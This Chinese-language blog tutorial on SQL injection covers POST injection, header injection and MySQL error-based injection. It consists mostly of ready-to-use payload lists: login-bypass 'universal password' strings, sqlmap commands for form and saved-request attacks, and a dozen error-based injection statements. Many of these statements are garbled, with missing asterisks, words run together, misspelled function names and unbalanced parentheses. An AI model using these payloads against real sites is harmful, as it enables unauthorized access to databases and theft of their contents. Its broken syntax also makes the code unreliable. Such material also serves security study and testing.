sql注入 post,head,報錯注入

2021-09-28 15:44:18 字數 3398 閱讀 1395

一,post注入

post注入高危點:

登入框查詢框

各類與資料庫有互動框

經典的萬能密碼

post注入跟get注入都差不多

那我們先判斷先字段數

輸入』order by 3#

聯合查詢

查詢資料庫名

post注入檢測方式還有兩種

1,使用sqlmap -u url --forms

2,使用抓包工具抓包另存為1.txt並在存在注入的地方使用*標記

sqlmap -r 1.txt 此處的1.txt和sqlmap在同一目錄

後面也可跟絕對1.txt的絕對路徑

常用的萬能username語句:

a 』 or 1=1 #

a ") or 1=1 #

a『) or 1=1 #

a」 or 「1」=」1

』 or 『1』='1

』 or (length(database())) = 8 (用於輸入』 「都沒有錯誤)

』 or (ascii(substr((select database()) ,1,1))) = 115 # (用於輸入』 「都沒有錯誤)

") or (「1」)=("1

") or 1=1 or if(1=1, sleep(1), null) #

") or (length(database())) = 8 #

") or (ascii(substr((select database()) ,1,1))) = 115 or if(1=1, sleep(1), null) #

二,head注入

在php中存在用來儲存資料的變數

php中有一些預定義超全域性變數

$_request(獲取get,post,cookie傳參)新版本中不支援cookie傳參

$_post

$_get

$_cookie

$_server(包含了注入頭資訊,路徑,以及指令碼位置等資訊)

$_server[『http_host』]請求頭資訊中的host內容,獲取當前網域名稱

$_server[『http_user_agent』]獲取使用者相關資訊,包括使用者瀏覽器,作業系統等

$_server[『remote_addr』]瀏覽使用者的ip

記得學個php

訪問後得到了這些資料

三,報錯注入

報錯注入使用的函式有哪些

updatexml(目標xml內容,xml檔案路徑,更新內容)

實戰例句

1、通過floor報錯,注入語句如下:

and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);

2、通過extractvalue報錯,注入語句如下:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通過updatexml報錯,注入語句如下:

and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通過name_const報錯,注入語句如下:

and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通過join報錯,注入語句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

6、通過exp報錯,注入語句如下:

and exp(~(select * from (select user () ) a) );

7、通過geometrycollection()報錯,注入語句如下:

and geometrycollection(()select *from(select user () )a)b );

8、通過polygon ()報錯,注入語句如下:

and polygon (()select * from(select user ())a)b );

9、通過multipoint ()報錯,注入語句如下:

and multipoint (()select * from(select user() )a)b );

10、通過multlinestring ()報錯,注入語句如下:

and multlinestring (()select * from(selectuser () )a)b );

11、通過multpolygon ()報錯,注入語句如下:

and multpolygon (()select * from(selectuser () )a)b );

12、通過linestring ()報錯,注入語句如下:

and linestring (()select * from(select user() )a)b );

SQL注入 報錯注入

乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...

SQL注入 報錯注入

sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...

SQL注入 報錯注入

利用 mysql select 1 from select count concat version floor rand 0 2 x from information schema.tables group by x a error 1062 23000 duplicate entry 5.1.4...